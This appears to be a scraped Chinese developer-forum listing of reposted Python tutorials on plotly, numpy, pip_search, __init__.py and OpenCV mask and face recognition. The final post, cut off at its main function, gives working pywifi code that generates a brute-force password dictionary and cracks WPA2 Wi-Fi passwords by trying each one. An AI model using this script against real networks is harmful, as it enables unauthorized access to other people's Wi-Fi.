• [技术干货] Python利用plotly绘制正二十面体详解【转】
    plotly 的 Python 软件包是一个开源的代码库,它基于 plot.js,而后者基于 d3.js。我们实际使用的则是一个对 plotly 进行封装的库,名叫 cufflinks,能让你更方便地使用 plotly 和 Pandas 数据表协同工作。一言以蔽之,plotly是一款擅长交互的Python绘图库,下面就初步使用一下这个库的三维绘图功能。此前曾经用matplotlib画了正二十面体和足球:Python绘制正二十面体;画足球,这次用plotly复现一下正二十面体的绘制过程,也体验一下这两个绘图包的差异。来绘制一个正二十面体。顶点正20面体的12个顶点刚好可以分为三组,每一组都是一个符合黄金分割比例的长方形,而且这三个长方形是互相正交的。所以,想绘制一个正二十面体是比较容易的 import plotly import plotly.express as px import numpy as np from itertools import product G = (np.sqrt(5)-1)/2 def getVertex():     pt2 =  [(a,b) for a,b in product([1,-1], [G, -G])]     pts =  [(a,b,0) for a,b in pt2]     pts += [(0,a,b) for a,b in pt2]     pts += [(b,0,a) for a,b in pt2]     return np.array(pts)  xs, ys, zs = getVertex().T  fig = px.scatter_3d(x=xs, y=ys, z=zs,      size=np.ones_like(xs)*0.5) fig.show() 棱接下来连接这12个顶点,由于点数较少,所以直接遍历也不至于运算量爆炸。另一方面,正二十面体边长相同,而这些相同的边连接的也必然是最近的点,所以接下来只需建立顶点之间的距离矩阵,并抽取出距离最短的线。 def getDisMat(pts):     N = len(pts)     dMat = np.ones([N,N])*np.inf     for i in range(N):         for j in range(i):             dMat[i,j] = np.linalg.norm([pts[i]-pts[j]])     return dMat  pts = getVertex() dMat = getDisMat(pts) # 由于存在舍入误差,所以得到的边的数值可能不唯一 ix, jx = np.where((dMat-np.min(dMat))<0.01) 接下来,绘制正二十面体的棱 edges = [] for k in range(len(ix)):     edges.append(pts[ix[k]].tolist() + [k])     edges.append(pts[jx[k]].tolist() + [k])  edges = np.array(edges)  fig = px.line_3d(edges, x=0, y=1, z=2, color=3) fig.show() 实现正二十面体接下来要对面上色。由于三棱成个面,所以只需得到所有三条棱的组合,只要这三条棱可以组成三角形,就能获取所有的三角面。当然,这一切的前提是,正二十面体只有30个棱,即使遍历多次,也无非27k的计算量,是完全没问题的。 def isFace(e1, e2, e3):     pts = np.vstack([e1, e2, e3])     pts = np.unique(pts, axis=0)     return len(pts)==3  edges = [pts[[i,j]] for i,j in zip(ix, jx)] from itertools import combinations faces = [es for es in combinations(edges, 3)      if isFace(*es)] 最后得到的faces有20个元素,每个元素由3条棱组成,每条棱有两个顶点,故而可以缩减为三个顶点。ptFace = [np.unique(np.vstack(f),axis=0) for f in faces] ptFace = np.vstack(ptFace)     接下来绘制一下,plotly绘制三角面的逻辑是,除了需要指定三角面的三个坐标之外,还需指定三角面的顶点序号import plotly.figure_factory as ff simplices = np.arange(len(ptFace)).reshape(-1,3) fig = ff.create_trisurf(x=ptFace[:,0],      y=ptFace[:,1], z=ptFace[:,2],     simplices=simplices) fig.show() 
  • 求个python的mltend库
    求个python的mltend库。有没有大佬分享一下,感谢。
  • [互动交流] 3.1.0适用版本
    3.1.0的设计器是不是不适用与win7系统?每次安装后都提示插件安装命令执行失败,或者是内置python异常什么的,控件那都是空的
  • [技术干货] python查找指定依赖包简介信息实现
    做python项目时,想安装某个依赖包的最新版本,但又不知道它的版本号具体到多少,因此需要搜索查看它的相关简介信息.原来的时候,可以直接通过pip搜索查看: pip search xxx.但如今,再用这种方式会报错:123pip search django ERROR: XMLRPC request failed [code: -32500]RuntimeError: PyPI no longer supports 'pip search' (or XML-RPC search). Please use https://pypi.org/search (via a browser) instead. See https://warehouse.pypa.io/api-reference/xml-rpc.html#deprecated-methods for more information.于是,得换另一种方法:pip_search,首先是安装pip_search:1pip install pip-search安装完毕后,直接使用可能会报错找不到pip_search.因为本文所讨论的是在linux环境下,而pip下载依赖模块的路径可能是在~/.local/bin,这个路径可能尚未加入到系统环境变量中,所以需要:123vi ~/.bashrc;export PATH=~/.local/bin:$PATH;source ~/.bashrc;使用示例:1pip_search django结果:12345678910111213141516171819202122232425262728293031🐍 https://pypi.org/search/?q=django 🐍                     ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┓┃ Package                             ┃ Version ┃ Released   ┃ Description     ┃┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━┩│ 📂 Django                           │ 4.1.6   │ 01-02-2023 │ A high-level    ││                                     │         │            │ Python web      ││                                     │         │            │ framework that  ││                                     │         │            │ encourages      ││                                     │         │            │ rapid           ││                                     │         │            │ development and ││                                     │         │            │ clean,          ││                                     │         │            │ pragmatic       ││                                     │         │            │ design.         ││ 📂 django-503                       │ 0.1     │ 03-10-2011 │ An app to show  ││                                     │         │            │ 503 error page, ││                                     │         │            │ while your      ││                                     │         │            │ django site is  ││                                     │         │            │ on maintenance. ││ 📂 django-filebrowser-django13      │ 3.0     │ 14-03-2011 │ Media-Manageme… ││                                     │         │            │ with the Django ││                                     │         │            │ Admin-Interfac… ││                                     │         │            │ Package for     ││                                     │         │            │ using without   ││                                     │         │            │ django-grapelli ││                                     │         │            │ in Django 1.3   ││ 📂 django-tracking-analyzer-django2 │ 0.3     │ 02-01-2019 │ User actions    ││                                     │         │            │ tracking and    ││                                     │         │            │ analytics for   ││                                     │         │            │ Django sites. ......转载自https://www.jb51.net/article/274842.htm
  • [技术干货] 深入理解Python中__init__.py文件
    1. 简介1.1 模块(Module)和包(Package)的概念模块是程序,任何Python程序都可以作为模块导入。写在脚本.py文件中的函数,比如xx.py,可以在另一个模块或者脚本中通过import xx进行导入。如果要导入xx.py中的函数yy,就写成from xx import yy。可见模块可以简单的理解为一个.py文件。包就是模块所在的目录。和文件夹不同的是,包的根目录下存在__init__.py。一个文件夹根目录下存在__init__.py那就会认为该文件夹是Python包,否则那这个文件夹就是一个普通的文件夹。1.2 __init__.py文件简介__init__.py文件的作用是将文件夹变为一个Python的包,Python中每个包中,都有__init__.py文件。通常__init__.py文件为空,但是我们还可以为它增加其他的功能。我们在导入一个包时,实际上是导入了它的__init__.py文件。这样我们可以在__init__.py文件中批量导入我们所需要的模块,而不再需要一个一个的导入。2. __init__.py内容写法2.1 __init__.py文件内容以PySolid代码为例。PySolid包的目录结构如下:1234.├── grid.py├── point.py└── __init__.py__init__.py内容:123456789101112131415161718192021# top-level functionsfrom pysolid.grid import (    calc_solid_earth_tides_grid,    plot_solid_earth_tides_grid,)from pysolid.point import (    TIDES,    calc_solid_earth_tides_point,    plot_solid_earth_tides_point,    plot_power_spectral_density4tides,)__all__ = [    '__version__',    'calc_solid_earth_tides_grid',    'plot_solid_earth_tides_grid',    'TIDES',    'calc_solid_earth_tides_point',    'plot_solid_earth_tides_point',    'plot_power_spectral_density4tides',]2.2 __init__.py内容解释从grid.py中导入两个函数:12calc_solid_earth_tides_gridplot_solid_earth_tides_grid从point.py中导入四个函数:1234TIDES,calc_solid_earth_tides_pointplot_solid_earth_tides_pointplot_power_spectral_density4tides在__init__.py中通过定义__all__变量来控制外部调用者能够调用的范围,除了以下列表中的函数,其它函数都无法被使用,类似于私有函数或变量。123456789__all__ = [    '__version__',    'calc_solid_earth_tides_grid',    'plot_solid_earth_tides_grid',    'TIDES',    'calc_solid_earth_tides_point',    'plot_solid_earth_tides_point',    'plot_power_spectral_density4tides',]转载自https://www.jb51.net/article/274851.htm
  • [技术干货] numpy.insert()的具体使用方法
    numpy.insert()主要用于向矩阵中插入行或列。对于多维矩阵,可以沿任意一个轴插入元素。1. 参数说明1numpy.insert(arr, obj, values, axis=None)arr:输入矩阵,numpy.array类型。注意:该方法并不改变直接arr的值,而是返回一个obj:索引,整数或整数串。例如可以只插入一行元素,也可以插入多行元素,多行可以是连续的(如第0行和第1行),也可以是分立的(如第2行和第4行)。values:插入的值,numpy.array类型axis:插入的轴,整型返回值:得到的矩阵,numpy.array类型2. 示例2.1. 插入一列,值为标量12a = np.array([[1, 1], [2, 2], [3, 3]])np.insert(a, 1, 5, axis=1)结果array([[1, 5, 1],       [2, 5, 2],       [3, 5, 3]])2.2. 插入一列,值为一维矩阵1np.insert(a, [1], [[1],[2],[3]], axis=1)2.3. 插入多列,值为标量注意:索引值不能超过维度的最大索引,也就是说只能在某一维的中间插值,不能在末尾插入。123x = np.arange(8).reshape(2, 4)idx = (1, 3)np.insert(x, idx, 999, axis=1)结果array([[  0, 999,   1,   2, 999,   3],       [  4, 999,   5,   6, 999,   7]])2.4. 输入为一维向量在向量 [1,2,3,4] 的第1个元素前面的位置插入512print(np.insert([1,2,3,4],1,5))[1 5 2 3 4]在向量 [1,2,3,4] 的第1个元素前面的位置插入5,第2个元素前面的位置插入712print(np.insert([1,2,3,4],[1,2],[5,7]))[1 5 2 7 3 4]2.5. 输入为矩阵插入一整行1234import numpy as npa = a = np.array([[1, 1], [2, 2], [3, 3]])print('a=',a)print('after insertion:\n',np.insert(a,[1],[6,6],axis=0))结果a= [[1 1] [2 2] [3 3]]after insertion: [[1 1] [6 6] [2 2] [3 3]]转载自https://www.jb51.net/article/274854.htm
  • [技术干货] python进阶——AI视觉实现口罩检测实时语音报警系统-转载
      前言 本程序主要实现了python的opencv人工智能视觉模块的口罩检测实时语音检测报警。  若不知道怎么安装opencv或者使用的请看我的这篇文章(曾上过csdn综合热榜的top1):  python进阶——人工智能视觉识别_lqj_本人的博客-CSDN博客  同时,另一篇基于opencv的人工智能视觉实现的目标实时跟踪功能(增上过csdn综合热榜的top5):  python进阶——人工智能实时目标跟踪_lqj_本人的博客-CSDN博客  项目介绍 PaddlenHub模块 PaddleHub是飞桨预训练模型管理和迁移学习工具,通过PaddleHub开发者可以使用高质量的预训练模型结合Fine-tune API快速完成迁移学习到应用部署的全流程工作。其提供了飞桨生态下的高质量预训练模型,涵盖了图像分类、目标检测、词法分析、语义模型、情感分析、视频分类、图像生成、图像分割、文本审核、关键点检测等主流模型。  使用时可能遇到的bug AttributeError: partially initialized module ‘cv2‘ has no attribute ‘gapi_wip_gst_GStreamerPipeline‘ bug显示:cv2没有指定的依赖。  解决方法 在我们的pycharm中自带的命令窗口中输入:  pip install opencv-python install "opencv-python-headless<4.3" 然后,我们再把我们的opencv-python降低版本为与我们安装的opencv-python-headless版本相同即可,我这里用的都是4.2.0.34版本。    方法解释 因为opencv4.3以上的版本会存在与其他模块依赖的兼容性问题,4.3以上的版本兼容性较差,所以,有时会出现一下bug之类的错误。有时,其实我们写的代码没有问题,只是问题出在了依赖的兼容性问题上!  playsound模块 PlaySound是Windows用于播放音乐的API函数(方法)。在vs2010以上版本需要加入#pragma comment(lib, "winmm.lib")才能使用PlaySound。PlaySound函数原型为 BOOL PlaySound(LPCSTR pszSound, HMODULE hmod,DWORD fdwSound)。PlaySound参数,pszSound是指定了要播放声音的字符串,该参数可以是WAVE文件的名字,或是WAV资源的名字,或是内存中声音数据的指针,或是在系统注册表WIN.INI中定义的系统事件声音。如果该参数为NULL则停止正在播放的声音。  项目思路 1.使用PaddlenHub模块指定算法,根据面部特征的上下左右来判断是否面部有物体遮挡,并判断遮挡区域及位置,若判断条件成功,则绘制绿色矩形及英文提示。若判断条件失败,则绘制红色矩形及英文提示!  2.使用playsound模块指定我们录制好的MP3文件,当判断条件符合时,则按照playsound模块原生函数播放MP3文件,达到语音警告提示效果!  代码详解 首先导入相应模块  import paddlehub import cv2 from playsound import playsound 指定paddlehub模块中的算法并赋值  module=paddlehub.Module(name="pyramidbox_lite_mobile_mask") 调用本机摄像头  cap=cv2.VideoCapture(0) 循环判断指定位置及遮挡区域  while(cap.isOpened()):     frame = cap.read()[1]     input_dict = {'data':[frame]}     results = module.face_detection(data=input_dict)     result = results[0]  设置绑定键盘按压事件      k = cv2.waitKey(1) & 0xFF  # 判断按键 判断肯定条件时绿色字体和矩形   if result['data']!=[]:         label = result['data'][0]['label']         left = result['data'][0]['left']         right = result['data'][0]['right']         top = result['data'][0]['top']         bottom = result['data'][0]['bottom']         color = (0,255,0)         color2 = (0,255,0) 判断否定条件时红色字体和矩形,并播放语音警告提示          if label == 'NO MASK':             color = (0,0,255)             color2 = (0,0,255)             playsound('1.mp3')  cv2最后的绘制及显示交互窗口          cv2.rectangle(frame,(left,top),(right,bottom),color,3)         cv2.putText(frame,label,(left,top-10),cv2.FONT_HERSHEY_SIMPLEX,0.8,color2,2)         cv2.imshow('xianshi',frame) 判断监听键盘按压事件          if k == ord(' '):#退出             break 释放摄像头及内存  #释放摄像头 cap.release() #释放内存 cv2.destroyAllWindows() 完整代码及注释 import paddlehub import cv2 from playsound import playsound   #指定paddlehub模块的视觉算法 module=paddlehub.Module(name="pyramidbox_lite_mobile_mask") #调用本机摄像头 cap=cv2.VideoCapture(0) #循环判断面部区域位置 while(cap.isOpened()):     frame = cap.read()[1]     input_dict = {'data':[frame]}     results = module.face_detection(data=input_dict)     result = results[0] #绑定键盘监听事件     k = cv2.waitKey(1) & 0xFF  # 判断按键 #当判断为肯定时,则绘制绿色矩形及文字     if result['data']!=[]:         label = result['data'][0]['label']         left = result['data'][0]['left']         right = result['data'][0]['right']         top = result['data'][0]['top']         bottom = result['data'][0]['bottom']         color = (0,255,0)         color2 = (0,255,0)         #当判断为否定式绘制红色矩形及文字         if label == 'NO MASK':             color = (0,0,255)             color2 = (0,0,255)             #打开录制的MP3语音文件             playsound('1.mp3')         #cv2最会的绘制及显示         cv2.rectangle(frame,(left,top),(right,bottom),color,3)         cv2.putText(frame,label,(left,top-10),cv2.FONT_HERSHEY_SIMPLEX,0.8,color2,2)         #显示交互窗口         cv2.imshow('xianshi',frame)         #监听键盘事件,并判断是否退出         if k == ord(' '):#退出             break #释放摄像头 cap.release() #释放内存 cv2.destroyAllWindows()  效果展示(不带口罩时会有重复语音警告)    ———————————————— 版权声明:本文为CSDN博主「lqj_本人」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/lbcyllqj/article/details/128905097 
  • [技术干货] 你可能不知道这三个好用的python函数-转载
     我想介绍这些功能的主要原因是它们可以帮助您避免编写循环。在某些情况下,循环运行可能会很昂贵,除此之外,这些功能将有助于提高速度。 以下是本文将涵盖的功能:  map() filter() reduce() 即使你之前已经掌握了这些功能,用更多的理论和例子来强化你的知识也没有害处。 所以不用多说,让我们开始吧!  map() map()函数接受另一个函数作为形参,以及某种数组。其思想是将一个函数(作为参数传入的函数)应用到数组中的每一项。  这很有用,有两个原因:  你不必写循环 它比循环快 让我们看看它的实际应用。我将声明一个名为num_func()的函数,它接受一个数字作为参数。这个数的平方除以2,然后返回。注意,操作是任意选择的,你可以在函数内部做任何你想做的事情:  现在让我们声明一个数字数组,我们想对其应用num_func()。注意map()本身会返回一个map对象,所以你需要将它转换为一个列表:  看起来这个过程很成功。这里没有什么开创性的东西,但是尽可能避免循环是一件好事。  filter() 下面是另一个不错的函数,它可以节省您的时间——无论是编写还是执行。顾名思义,这个想法是将只满足特定条件的项保存在数组中。  就像map()一样,我们可以事先声明函数,然后将它与可迭代对象列表一起传递给filter()。  让我们看看它的实际应用。我已经声明了一个名为more_than_15()的函数,顾名思义,如果作为形参的项大于15,该函数将返回True:  接下来,我们声明一个数字数组,并将它们作为第二个参数传递到filter()函数中:  正如你所料,只有三个值满足给定的条件。再一次,这里没有什么开创性的东西,但看起来比循环好多了。  reduce() 现在reduce()与前两个稍有不同。首先,我们必须从functools模块中导入它。其主要思想是将给定函数应用于项数组,并返回单个值作为结果。  最后一部分至关重要——reduce()不会返回项的数组,它总是返回单个值。让我们看一个图表来具体说明这个概念。  5加10,结果是15 15加12,结果是27 27加18,结果是45 45加25,结果是70 70是返回的值。首先从代码实现开始,让我们从functools模块导入reduce函数,并声明一个函数返回两个数字的和:  现在,我们可以重新访问代码,并验证一切正常运行:  我希望你能在日常生活中利用这三个功能。速度的提高可能不是很大——这取决于您所处理的数据量——但是代码通常会因为更少的循环而看起来更好! ———————————————— 版权声明:本文为CSDN博主「程序员石磊」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/huangmingleiluo/article/details/117802272 
  • [技术干货] Python 中报错 “TypeError: ‘list‘ object is not callable”的解决方法-转载
     问题: 用 list() 函数新建列表时,报错 “TypeError: ‘list’ object is not callable”。  原因: 一开始我找不到原因,因为我的代码和书上的例子是一模一样的,为什么会报错呢?后来在StackOverflow的一个问答 里找到了原因,因为之前的代码把list用于命名。我之前在定义一个列表时用了list=[1,2,3],后来觉得不妥,运行这行代码之后又删除了。但是 Jupyter Notebook 是交互式编辑器,除非重启kernel,一旦命名,这个变量就占用了内存。所以,后面调用 list() 函数运行代码list1=list(range(10))时,编译器就把其中的list解释为之前定义过的列表[1,2,3],程序运行出错。  解决方法: 1.千万不要用 list,tuple 等等 Python 的数据类型名来命名相应的对象,同理,不要用 for, in 这些关键词命名。  2.此时可以用 del list,释放变量 list 占用的内存,这样再使用 list() 函数时就会正确解释。同时需要注意,之前定义名字为 list 的列表也已经不存在了。而如果在 Jupyter Notebook 遇到和我类似的情况,也可以重启kernel(也是在释放内存),然后运行 list() 函数所在代码单元。  附注:在上述 StackOverflow 的回答里,大神还提到了一种情况,比如,定义了一个列表:nums=[1,2,3],正常情况下,我们要用nums[i]来索引元素。而如果用nums(i),也会报同样的错误:“TypeError: ‘list’ object is not callable”。  本文对您有帮助的话,请点赞支持一下吧,谢谢!  关注我 宁萌Julie,互相学习,多多交流呀!  参考: https://stackoverflow.com/questions/31087111/typeerror-list-object-is-not-callable-in-python ———————————————— 版权声明:本文为CSDN博主「宁萌Julie」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/applebear1123/article/details/120462574 
  • [技术干货] python进阶——人工智能视觉识别-转载
     前言 python在人工智能方面可以毫不客气的说,比其他的所有语言都要有优势,因为python的背后有一个非常强大的资源库来支撑着python运作。  opencv库 opencv是最经典的python视觉库,它里面包含了很多种视觉的识别类型供开发者们使用。  opencv库的下载 我们可以在我们的pycharm里面输入以下代码进行下载,但这里我们下载的是阉割版的。  pip install opencv-python     当我们的pycharm下载完成之后,我们呢还需要在opencv的官网进行下载:  首页 - OpenCV  然后我们选择(如下图所示):    进入之后,我们就可以看到opencv相对应的版本了:    然后,我们选择自己使用的系统进行下载并安装即可(仅安装即可,opencv不用环境配置!只需要记住安装在哪里,当我们使用的时候直接调取我们的安装目录就可以!)  当安装完成之后,我们就可以看到安装路径下的这些文件:    里面包含眼睛识别,面部识别等一些强大的识别算法!  人脸检测报警系统(可用于:家用监控;人脸门禁;人脸打卡签到等) 这里我将本功能分为了三个py文件来展开描述:  抓取人脸功能模块 首先,导入cv库  import cv2 然后调取我们的摄像头(0代表本机摄像头,其他代表外接摄像头)  cap = cv2.VideoCapture(0) 用while来判断是否为开启状态:  while(cap.isOpened()): 得到每一帧的图片进行赋值:  ret_flag,Vshow = cap.read() 调用控制键盘函数,控制判断按键:  k = cv2.waitKey(1) & 0xFF 使用imshow函数显示拍摄图像:  cv2.imshow('ceshi',Vshow) 键盘监听,按s键进行保存:  if k == ord('s'): 保存拍摄图像的格式,打印提示文字:   cv2.imwrite('E:/tupian/'+str(num)+'.name'+'.jpg',Vshow)         print('保存成功'+str(num)+".jpg")         print("-------------------------")         num += 1 释放摄像头与内存:  #释放摄像头 cap.release() #释放内存 cv2.destroyAllWindows() 完整代码:  import cv2 cap = cv2.VideoCapture(0)   falg = 1 num = 1   while(cap.isOpened()):#检测是否在开启状态     ret_flag,Vshow = cap.read()#得到每一帧的图像     k = cv2.waitKey(1) & 0xFF#判断按键     cv2.imshow('ceshi',Vshow)#显示图像     if k == ord('s'):#按s键保存         cv2.imwrite('E:/tupian/'+str(num)+'.name'+'.jpg',Vshow)         print('保存成功'+str(num)+".jpg")         print("-------------------------")         num += 1       elif k == ord(' '):#退出         break   #释放摄像头 cap.release() #释放内存 cv2.destroyAllWindows()  录入人脸功能模块 在写这个功能模块之前,我们要在pycharm中或cmd中的本文件根目录下使用命令行,安装face模块使用函数:   pip install opencv-contrib-python 导入第三方库:  import os import cv2 from PIL import Image import numpy as np 存储人脸数据:  facesSamples=[] 存储姓名数据:  ids=[] 存储图片信息:  imagePaths=[os.path.join(path,f) for f in os.listdir(path)] 加载分类器(就是我们上面讲到的在opencv官网下载的库,我们只需要调取安装目录就可以):  face_detector = cv2.CascadeClassifier('E:/open-cv/opencv/sources/data/haarcascades/haarcascade_frontalface_default.xml')  遍历列表中的图片:  for imagePath in imagePaths: 将打开的图片灰度化:  PIL_img = Image.open(imagePath).convert('L') 将图片转化为数组:  img_numpy = np.array(PIL_img,'uint8') 获取图片人脸特征:  faces = face_detector.detectMultiScale(img_numpy) 获取每一张拍摄图片的id与姓名:  id = int(os.path.split(imagePath)[1].split('.')[0]) 做判断,预防拍摄无面容图片:          for x,y,w,h in faces:             ids.append(id)             facesSamples.append(img_numpy[y:y+h,x:x+w]) 打印面部特征与id,并返回数据:      print('id',id)     print('fs:',facesSamples)     return facesSamples,ids 调用图片路径(有第一步抓取人脸后按s键保存到'E:/tupian/'路径下的图片):   path = 'E:/tupian/' 获取图像数组和id标签数组和姓名:  faces,ids=getImageAndLabels(path) 加载识别器:  recognizer = cv2.face.LBPHFaceRecognizer_create() 训练数据:   recognizer.train(faces,np.array(ids)) 保存面部特征到文件夹(创建一个文件夹,用于存放读取的面部信息):   recognizer.write('tupian/tupian.yml') 完整代码:  import os import cv2 from PIL import Image import numpy as np   def getImageAndLabels(path):     #储存人脸数据     facesSamples=[]     #储存姓名数据     ids=[]     #储存图片信息     imagePaths=[os.path.join(path,f) for f in os.listdir(path)]     #加载分类器     face_detector = cv2.CascadeClassifier('E:/open-cv/opencv/sources/data/haarcascades/haarcascade_frontalface_default.xml')     #遍历列表中的图片     for imagePath in imagePaths:         #打开图片,灰度化PIL有九种不同的模式:1,L,P,RGB,RGBA,CMYK,YCbCr,I,F         PIL_img = Image.open(imagePath).convert('L')         #将图像转化为数组,以黑白深浅         img_numpy = np.array(PIL_img,'uint8')         #获取图片人脸特征         faces = face_detector.detectMultiScale(img_numpy)         #获取每一张图片的id和姓名         id = int(os.path.split(imagePath)[1].split('.')[0])         #预防无面容照片         for x,y,w,h in faces:             ids.append(id)             facesSamples.append(img_numpy[y:y+h,x:x+w])         #打印面部特征和id     print('id',id)     print('fs:',facesSamples)     return facesSamples,ids   if __name__ == '__main__':     #图片路径     path = 'E:/tupian/'     #获取图像数组和id标签数组和姓名     faces,ids=getImageAndLabels(path)     #加载识别器     recognizer = cv2.face.LBPHFaceRecognizer_create()     #训练     recognizer.train(faces,np.array(ids))     #保存文件     recognizer.write('tupian/tupian.yml')  人脸识别功能模块 导入第三方库:  import cv2 import os 加载训练过的数据文件:  recogizer = cv2.face.LBPHFaceRecognizer_create() 加载保存过的面部信息:  recogizer.read('tupian/tupian.yml') 定义名称数组:  names=[] 识别全局变量定义:  warningtime = 0 识别视频中人脸模块:  def face_detect_demo(img):     gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)#转换为灰度     face_detector=cv2.CascadeClassifier('E:/open-cv/opencv/sources/data/haarcascades/haarcascade_frontalface_default.xml')     face=face_detector.detectMultiScale(gray)     for x,y,w,h in face:         cv2.rectangle(img,(x,y),(x+w,y+h),color=(0,0,255),thickness=2)         cv2.circle(img,center=(x+w//2,y+h//2),radius=w//2,color=(0,255,0),thickness=1)         # 人脸识别         ids, confidence = recogizer.predict(gray[y:y + h, x:x + w])         if confidence > 80:             global warningtime             warningtime += 1             if warningtime > 100:                # warning()                warningtime = 0             cv2.putText(img, 'unkonw', (x + 10, y - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 255, 0), 1)         else:             cv2.putText(img,str(names[ids-1]), (x + 10, y - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 255, 0), 1)     cv2.imshow('result',img)  导入存储的图片名字标签:  def name():     path = 'E:/tupian/'     # names = []     imagePaths=[os.path.join(path,f) for f in os.listdir(path)]     for imagePath in imagePaths:        name = str(os.path.split(imagePath)[1].split('.',2)[1])        names.append(name) 加载监控或已保存下来的视频:  cap=cv2.VideoCapture('1.mp4') name() while True:     flag,frame=cap.read()     if not flag:         break     face_detect_demo(frame)     if ord(' ') == cv2.waitKey(10):         break 释放内存与视频:  cv2.destroyAllWindows() cap.release()  完整代码:  import cv2 import os #加载训练数据文件 recogizer = cv2.face.LBPHFaceRecognizer_create() #加载数据 recogizer.read('tupian/tupian.yml') #名称 names=[] #报警全局变量 warningtime = 0 #准备识别的图片 def face_detect_demo(img):     gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)#转换为灰度     face_detector=cv2.CascadeClassifier('E:/open-cv/opencv/sources/data/haarcascades/haarcascade_frontalface_default.xml')     face=face_detector.detectMultiScale(gray)     for x,y,w,h in face:         cv2.rectangle(img,(x,y),(x+w,y+h),color=(0,0,255),thickness=2)         cv2.circle(img,center=(x+w//2,y+h//2),radius=w//2,color=(0,255,0),thickness=1)         # 人脸识别         ids, confidence = recogizer.predict(gray[y:y + h, x:x + w])         if confidence > 80:             global warningtime             warningtime += 1             if warningtime > 100:                # warning()                warningtime = 0             cv2.putText(img, 'unkonw', (x + 10, y - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 255, 0), 1)         else:             cv2.putText(img,str(names[ids-1]), (x + 10, y - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 255, 0), 1)     cv2.imshow('result',img)   #名字标签 def name():     path = 'E:/tupian/'     # names = []     imagePaths=[os.path.join(path,f) for f in os.listdir(path)]     for imagePath in imagePaths:        name = str(os.path.split(imagePath)[1].split('.',2)[1])        names.append(name) #加载视频 cap=cv2.VideoCapture('1.mp4') name() while True:     flag,frame=cap.read()     if not flag:         break     face_detect_demo(frame)     if ord(' ') == cv2.waitKey(10):         break #释放内存+视频 cv2.destroyAllWindows() cap.release()  最终显示效果: 录入过的面部信息就会显示录入的姓名(如下面的LQJ),未录入过的面部信息就会显示unkonw(不知道的状态)。 ———————————————— 版权声明:本文为CSDN博主「lqj_本人」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/lbcyllqj/article/details/128801971 
  • [技术干货] python破解wifi教程-转载
     一、安装pywifi pywifi是在python中一个用于操作无线接口的模块,可以跨平台使用,Windows和Linux都支持  在notebook或者pycharm、anaconda中安装  pip install pywifi 二、构建wifi密码字典 一般字典包括数字(0-9)、字母(a-z,区分大小写)、特殊字符(!@#$%^&*()_+=-)  常规的wifi密码为8位,且仅包括数字和小写字母,所以我们可以从数字和字母组成的字符串中随机挑选出8位(单个字符可重复出现),作为wifi密码组成字典存入txt文档。  import itertools as its words = "1234567890abcdefghijklmnopqrstuvwxyz" #可选择的字符 r =its.product(words,repeat=8)  #组成8位字符串 dic = open("pwd.txt","a")      #存储为wifi密码字典 #wifi密码完成换行,并写入txt文档 for i in r:     dic.write("".join(i))     dic.write("".join("\n")) dic.close() 三、python实现wifi破解 import pywifi import time from pywifi import const   # WiFi扫描模块 def wifi_scan():     # 初始化wifi     wifi = pywifi.PyWiFi()     # 使用第一个无线网卡     interface = wifi.interfaces()[0]     # 开始扫描     interface.scan()     for i in range(4):         time.sleep(1)         print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')     print('\r扫描完成!\n' + '-' * 38)     print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))     # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象     bss = interface.scan_results()     # 存放wifi名的集合     wifi_name_set = set()     for w in bss:         # 解决乱码问题         wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))         wifi_name_set.add(wifi_name_and_signal)     # 存入列表并按信号排序     wifi_name_list = list(wifi_name_set)     wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)     num = 0     # 格式化输出     while num < len(wifi_name_list):         print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))         num += 1     print('-' * 38)     # 返回wifi列表     return wifi_name_list   # WIFI破解模块 def wifi_password_crack(wifi_name):     # 字典路径     wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")     with open(wifi_dic_path, 'r') as f:         # 遍历密码         for pwd in f:             # 去除密码的末尾换行符             pwd = pwd.strip('\n')             # 创建wifi对象             wifi = pywifi.PyWiFi()             # 创建网卡对象,为第一个wifi网卡             interface = wifi.interfaces()[0]             # 断开所有wifi连接             interface.disconnect()             # 等待其断开             while interface.status() == 4:                 # 当其处于连接状态时,利用循环等待其断开                 pass             # 创建连接文件(对象)             profile = pywifi.Profile()             # wifi名称             profile.ssid = wifi_name             # 需要认证             profile.auth = const.AUTH_ALG_OPEN             # wifi默认加密算法             profile.akm.append(const.AKM_TYPE_WPA2PSK)             profile.cipher = const.CIPHER_TYPE_CCMP             # wifi密码             profile.key = pwd             # 删除所有wifi连接文件             interface.remove_all_network_profiles()             # 设置新的wifi连接文件             tmp_profile = interface.add_network_profile(profile)             # 开始尝试连接             interface.connect(tmp_profile)             start_time = time.time()             while time.time() - start_time < 1.5:                 # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)                 if interface.status() == 4:                     print(f'\r连接成功!密码为:{pwd}')                     exit(0)                 else:                     print(f'\r正在利用密码 {pwd} 尝试破解。', end='') # 主函数 def main():     # 退出标致     